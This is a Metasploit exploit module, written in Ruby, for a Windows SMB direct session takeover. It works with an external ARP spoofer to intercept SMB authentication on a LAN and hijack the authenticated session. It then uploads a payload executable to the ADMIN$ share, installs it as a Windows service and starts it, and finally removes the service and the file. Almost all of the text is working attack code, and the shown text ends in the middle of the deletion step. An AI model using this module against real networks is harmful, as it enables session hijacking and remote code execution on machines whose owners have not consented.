Microsoft Windows SMB Direct Session Takeover Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::Capture
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows SMB Direct Session Takeover',
        'Description' => %q{
          This module will intercept direct SMB authentication requests to
          another host, gaining access to an authenticated SMB session if
          successful. If the connecting user is an administrator and network
          logins are allowed to the target machine, this module will execute an
          arbitrary payload. To exploit this, the target system must try to
          autheticate to another host on the local area network.

          SMB Direct Session takeover is a combination of previous attacks.

          This module is dependent on an external ARP spoofer. The builtin ARP
          spoofer was not providing sufficient host discovery. Bettercap v1.6.2
          was used during the development of this module.

          The original SMB relay attack was first reported by Sir Dystic on March
          31st, 2001 at @lanta.con in Atlanta, Georgia.
        },
        'Author' => [
          'usiegl00'
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Payload' => {},
        'References' => [
          ['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']
        ],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Platform' => 'win',
        'Targets' => [
          ['Automatic', {}]
        ],
        'DisclosureDate' => '2021-02-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ SERVICE_RESOURCE_LOSS ],
          'Reliability' => [ UNRELIABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),
        OptString.new('INTERFACE', [true, 'The name of the interface']),
        OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),
        OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true])
        # For future cross LAN work:
        # OptString.new('GATEWAY',  [ true, "The network gateway ip address" ])
      ]
    )

    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',
                       'TIMEOUT')
  end

  def exploit
    if datastore['DefangedMode'].to_s == 'true'
      warning = <<~EOF

        Are you SURE you want to modify your port forwarding tables?
        You MAY contaminate your current network configuration.

        Disable the DefangedMode option if you wish to proceed.
      EOF
      fail_with(Failure::BadConfig, warning)
    end
    print_good('INFO : Warming up...')
    print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0
    @sessions = {}
    @mutex = Mutex.new
    @cleanup_mutex = Mutex.new
    @cleanedup = false
    @main_threads = []
    @interface = datastore['INTERFACE'] # || Pcap.lookupdev
    unless Socket.getifaddrs.map(&:name).include? @interface
      fail_with(Failure::BadConfig,
                "Interface not found: #{@interface}")
    end
    @ip4 = ipv4_addresses[@interface]&.first
    fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3
    @mac = get_mac(@interface)
    fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)
    # For future cross LAN work: (Gateway is required.)
    # @gateip4 = datastore['GATEWAY']
    # fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3
    # @gatemac = arp(tpa: @gateip4)
    # fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String
    @share = datastore['SHARE']
    print_status("Self: #{@ip4} | #{@mac}")
    # print_status("Gateway: #{@gateip4} | #{@gatemac}")
    disable_p445_fwrd
    start_syn_capture
    start_ack_capture
    print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')
    print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')
    main_capture
  ensure
    cleanup
  end

  # This prevents the TCP SYN on port 445 from passing through the filter.
  # This allows us to have the time to modify the packets before forwarding them.
  def disable_p445_fwrd
    if datastore['DisableFwd'] == 'false'
      print_status('DisableFwd was set to false.')
      print_status('Packet forwarding on port 445 will not be disabled.')
      return true
    end
    if RUBY_PLATFORM.include?('darwin')
      pfctl = Rex::FileUtils.find_full_path('pfctl')
      unless pfctl
        fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
      end
      IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|
        pf.write("block out on #{@interface} proto tcp from any to any port 445\n")
        pf.close_write
      end
      IO.popen("#{pfctl} -e", err: '/dev/null').close
    elsif RUBY_PLATFORM.include?('linux')
      iptables = Rex::FileUtils.find_full_path('iptables')
      unless iptables
        fail_with(Failure::NotFound, 'The iptables executable could not be found.')
      end
      IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
    else
      print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")
      print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')
      fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')
    end
    print_good('INFO : Packet forwarding on port 445 disabled.')
    return true
  end

  # This reverts the changes made in disable_p445_fwrd
  def reset_p445_fwrd
    if datastore['DisableFwd'] == 'false'
      print_status('DisableFwd was set to false.')
      print_status('Packet forwarding on port 445 will not be reset.')
      return true
    end
    if RUBY_PLATFORM.include?('darwin')
      pfctl = Rex::FileUtils.find_full_path('pfctl')
      unless pfctl
        fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
      end
      IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close
    elsif RUBY_PLATFORM.include?('linux')
      iptables = Rex::FileUtils.find_full_path('iptables')
      unless iptables
        fail_with(Failure::NotFound, 'The iptables executable could not be found.')
      end
      IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
    end
    print_good('INFO : Packet forwarding on port 445 reset.')
    return true
  end

  # This starts the SYN capture thread as part of step two.
  def start_syn_capture
    @syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do
      c = PacketFu::Capture.new(iface: @interface, promisc: true)
      c.capture
      c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")
      c.stream.each_data do |data|
        packet = PacketFu::Packet.parse(data)
        exists = @mutex.synchronize do
          @sessions[packet.tcp_header.tcp_src] # Prevent erasing existing sessions.
        end
        next if exists

        dstmac = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst)))
        # Time for the arp address to be spoofed again.
        sleep(1.5)
        @mutex.synchronize do
          @sessions[packet.tcp_header.tcp_src] = {}
          @sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack
          @sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq
          @sessions[packet.tcp_header.tcp_src][:active] = true
          @sessions[packet.tcp_header.tcp_src][:dstmac] = dstmac
          packet.eth_header.eth_src = str2mac(@mac)
          packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
          packet.to_w(@interface)
        end
      end
    end
  end

  # This starts the ACK capture thread as part of step two.
  def start_ack_capture
    @ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do
      c = PacketFu::Capture.new(iface: @interface, promisc: true)
      c.capture
      c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")
      c.stream.each_data do |data|
        packet = PacketFu::Packet.parse(data)
        @mutex.synchronize do
          next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active]

          @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]
          @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]
          packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]
          packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]
          packet.eth_header.eth_src = str2mac(@mac)
          packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
          packet.to_w(@interface)
        end
      end
    end
  end

  # This sends an arp packet out to the network and captures the response.
  # This allows us to resolve mac addresses in real time.
  # We need the mac address of the server and client.
  def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',
          sha: @mac, spa: @ip4,
          tha: '00:00:00:00:00:00', tpa: '', op: 1,
          capture: true)
    p = PacketFu::ARPPacket.new(
      eth_src: str2mac(smac),
      eth_dst: str2mac(dmac),
      arp_src_mac: str2mac(sha),
      arp_src_ip: str2ip(spa),
      arp_dst_mac: str2mac(tha),
      arp_dst_ip: str2ip(tpa),
      arp_opcode: op
    )
    if capture
      c = PacketFu::Capture.new(iface: @interface)
      c.capture
      c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")
      p.to_w(@interface)
      sleep 0.1
      c.save
      c.array.each do |pkt|
        pkt = PacketFu::Packet.parse pkt
        # This decodes the arp packet and returns the query response.
        if pkt.arp_header.arp_src_ip == str2ip(tpa)
          return mac2str(pkt.arp_header.arp_src_mac)
        end
        return ip2str(pkt.arp_header.arp_src_ip) if mac2str(pkt.arp_header.src_mac) == tha
      end
    else
      p.to_w(@interface)
    end
  end

  # This returns a hash of local interfaces and their ip addresses.
  def ipv4_addresses
    results = {}
    Socket.getifaddrs.each do |iface|
      if iface.addr.ipv4?
        results[iface.name] = [] unless results[iface.name]
        results[iface.name] << iface.addr.ip_address
      end
    end
    results
  end

  # This is the main capture thread that handles all SMB packets routed through this module.
  def main_capture
    # This makes sense in the context of the paper.
    # Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack
    mc = PacketFu::Capture.new(iface: @interface, promisc: true)
    mc.capture
    mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")
    mc.stream.each_data do |data|
      packet = PacketFu::Packet.parse(data)
      nss = packet.payload[0..3]
      smb2 = packet.payload[4..-1]
      # Only Parse Packets from known sessions
      @mutex.synchronize do
        if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB")
          case smb2[11..12]
          when "\x00\x00" # Negotiate Protocol Request
            smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
            # Dialect Count Set To 1
            smb_packet.dialect_count = 1
            smb_packet.dialects = [smb_packet.dialects.first]
            smb_packet.negotiate_context_list = []
            smb_packet.client_start_time = 0
            # Re-Calculate Length: (Optional...)
            # nss = [smb_packet.to_binary_s.size].pack("N")
            packet.payload = "#{nss}#{smb_packet.to_binary_s}"
          when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
            smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
            if smb_packet.smb2_header.session_id != 0
              # Disable Session
              @sessions[packet.tcp_header.tcp_src][:active] = false
              @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]
              @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]
              # Start Main Thread
              @main_threads << Rex::ThreadFactory.spawn("MainThread#{@sessions.find_index do |k, _|
                k == packet.tcp_header.tcp_src
              end }", false) do
                main_thread(packet)
              end
            end
          end
        end
        next unless @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active]

        @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum]
        @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum]
        packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum]
        packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum]
        packet.eth_header.eth_src = str2mac(@mac)
        packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
        packet.recalc
        packet.to_w(@interface)
      end
    end
  end

  # This handles a session that has already authenticated to the server.
  # This allows us to offload the session from the main capture thead.
  def main_thread(packet)
    tree_id = 0 # Setup Vars
    process_id = 0
    eth_src = str2mac(@mac)
    eth_dst = @mutex.synchronize { str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) }
    packet.tcp_header.tcp_ack = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:acknum] }
    packet.tcp_header.tcp_seq = @mutex.synchronize { @sessions[packet.tcp_header.tcp_src][:seqnum] }
    packet.eth_header.eth_src = eth_src
    packet.eth_header.eth_dst = eth_dst
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..-1])

    print_status('Connecting to the defined share...')
    request = RubySMB::SMB2::Packet::TreeConnectRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"
    eth_header = PacketFu::EthHeader.new(eth_src: eth_src, eth_dst: eth_dst)
    ip_header = PacketFu::IPHeader.new(ip_src: int2ip(response.ip_header.ip_dst), ip_dst: int2ip(response.ip_header.ip_src))
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
    if response_smb2.smb2_header.nt_status != 0
      print_error("Unexpected tree connect response #{e.status_code.value.inspect} (#{::WindowsError::NTStatus.find_by_retval(e.status_code.value).first || 'unknown'})")
      return false
    end

    print_status('Regenerating the payload...')
    code = regenerate_payload
    tree_id = response_smb2.smb2_header.tree_id
    process_id = response_smb2.smb2_header.process_id

    print_status('Uploading payload...')
    filename = rand_text_alpha(8) + '.exe'
    servicename = rand_text_alpha(8)
    request = RubySMB::SMB2::Packet::CreateRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_attributes.directory = 0
    request.file_attributes.normal = 1
    request.create_options.directory_file = 0
    request.create_options.non_directory_file = 1
    request.share_access.read_access = 1
    request.share_access.write_access = 1
    request.desired_access.read_data = 1
    request.desired_access.write_data = 1
    request.desired_access.write_ea = 1
    request.desired_access.read_attr = 1
    request.desired_access.write_attr = 1
    request.requested_oplock = 255
    request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE
    request.create_disposition = RubySMB::Dispositions::FILE_SUPERSEDE
    request.name = filename.to_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
    file_id = response_smb2.file_id
    opts = { servicename: servicename, code: code.encoded }
    opts.merge!({ arch: ARCH_X64 }) if datastore['PAYLOAD'].include?(ARCH_X64)
    exe = generate_payload_exe_service(opts)
    exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment, exe_fragment_index|
      request = RubySMB::SMB2::Packet::WriteRequest.new
      set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
      request.file_id = file_id
      request.write_offset = 1000 * exe_fragment_index
      request.buffer = exe_fragment.pack('C*')
      packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
      packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
      response = get_response(packet)
      response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])
    end

    print_status("Created \\#{filename}...")
    request = RubySMB::SMB2::Packet::CloseRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..-1])
    request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])

    print_status('Connecting to the Service Control Manager...')
    request = RubySMB::SMB2::Packet::TreeConnectRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\IPC$"
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
    tree_id = response_smb2.smb2_header.tree_id
    request = RubySMB::SMB2::Packet::CreateRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_attributes.directory = 0
    request.file_attributes.normal = 1
    request.create_options.directory_file = 0
    request.create_options.non_directory_file = 1
    request.share_access.read_access = 1
    request.desired_access.read_data = 1
    request.share_access.write_access = 1
    request.desired_access.write_data = 1
    request.requested_oplock = 255
    request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE
    request.create_disposition = RubySMB::Dispositions::FILE_OPEN
    request.name = 'svcctl'
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
    file_id = response_smb2.file_id
    bind_req = RubySMB::Dcerpc::Bind.new(endpoint: RubySMB::Dcerpc::Svcctl)
    request = RubySMB::SMB2::Packet::WriteRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.write_offset = 0
    request.buffer = bind_req.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..-1])
    request = RubySMB::SMB2::Packet::ReadRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.read_length = 1024
    request.offset = 0
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..-1])
    open_scmw_request = RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access: 0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04)
    open_scmw_request.lp_machine_name = ip2str(int2ip(response.ip_header.ip_src))
    open_scmw_request.lp_database_name = 'ServicesActive'
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_scmw_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(open_scmw_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)
    open_scmw_response = RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s)
    servicename = rand_text_alpha(8)
    displayname = rand_text_alpha(rand(1..32))

    print_status('Creating a new service...')
    # RubySMB does not support CreateService.
    stubdata =
      open_scmw_response.lp_sc_handle.to_binary_s +
      Rex::Encoder::NDR.wstring(servicename) +
      Rex::Encoder::NDR.uwstring(displayname) +
      Rex::Encoder::NDR.long(0x0F01FF) + # Access: MAX
      Rex::Encoder::NDR.long(0x00000110) + # Type: Interactive, Own process
      Rex::Encoder::NDR.long(0x00000003) + # Start: Demand
      Rex::Encoder::NDR.long(0x00000000) + # Errors: Ignore
      Rex::Encoder::NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
      Rex::Encoder::NDR.long(0) + # LoadOrderGroup
      Rex::Encoder::NDR.long(0) + # Dependencies
      Rex::Encoder::NDR.long(0) + # Service Start
      Rex::Encoder::NDR.long(0) * 4 # Password
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, { endpoint: 'Svcctl' })
    dcerpc_request.stub = stubdata
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    if response_smb2.smb2_header.nt_status == 0x103
      response = get_response(packet)
      response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    end

    print_status('Closing service handle...')
    dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)
    csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: dcerpc_response.stub[4, 24])
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(csh_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    open_sw_request = RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access: 0x00F01FF)
    open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle
    open_sw_request.lp_service_name = servicename
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_sw_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(open_sw_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data)
    open_sw_response = RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s)

    print_status('Starting the service...')
    ss_request = RubySMB::Dcerpc::Svcctl::StartServiceWRequest.new(h_service: open_sw_response.lp_sc_handle)
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: ss_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(ss_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    if response_smb2.smb2_header.nt_status == 0x103
      response = get_response(packet)
      response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    end

    print_status('Removing the service...')
    # RubySMB does not support DeleteService
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, { endpoint: 'Svcctl' })
    dcerpc_request.stub = open_sw_response.lp_sc_handle.to_binary_s
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])

    print_status('Closing service handle...')
    csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: open_sw_response.lp_sc_handle)
    dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: 'Svcctl' })
    dcerpc_request.stub.read(csh_request.to_binary_s)
    request = RubySMB::SMB2::Packet::IoctlRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_id = file_id
    request.ctl_code = 0x0011C017
    request.flags.is_fsctl = 0x00000001
    request.buffer = dcerpc_request.to_binary_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1])
    request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..-1])

    print_status("Deleting \\#{filename}...")
    request = RubySMB::SMB2::Packet::TreeConnectRequest.new
    request.smb2_header.process_id = process_id
    request.smb2_header.credit_charge = 1
    request.smb2_header.credits = 256
    request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1
    request.smb2_header.session_id = response_smb2.smb2_header.session_id
    request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}"
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..-1])
    tree_id = response_smb2.smb2_header.tree_id
    request = RubySMB::SMB2::Packet::CreateRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_attributes.directory = 0
    request.file_attributes.normal = 1
    request.create_options.directory_file = 0
    request.create_options.non_directory_file = 1
    request.share_access.delete_access = 1
    request.desired_access.delete_access = 1
    request.requested_oplock = 255
    request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE
    request.create_disposition = RubySMB::Dispositions::FILE_OPEN
    request.name = filename.to_s
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
    response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])
    request = RubySMB::SMB2::Packet::SetInfoRequest.new
    set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)
    request.file_info_class = RubySMB::Fscc::FileInformation::FILE_DISPOSITION_INFORMATION
    request.buffer.delete_pending = 1
    request.file_id = response_smb2.file_id
    packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))
    packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"
    response = get_response(packet)
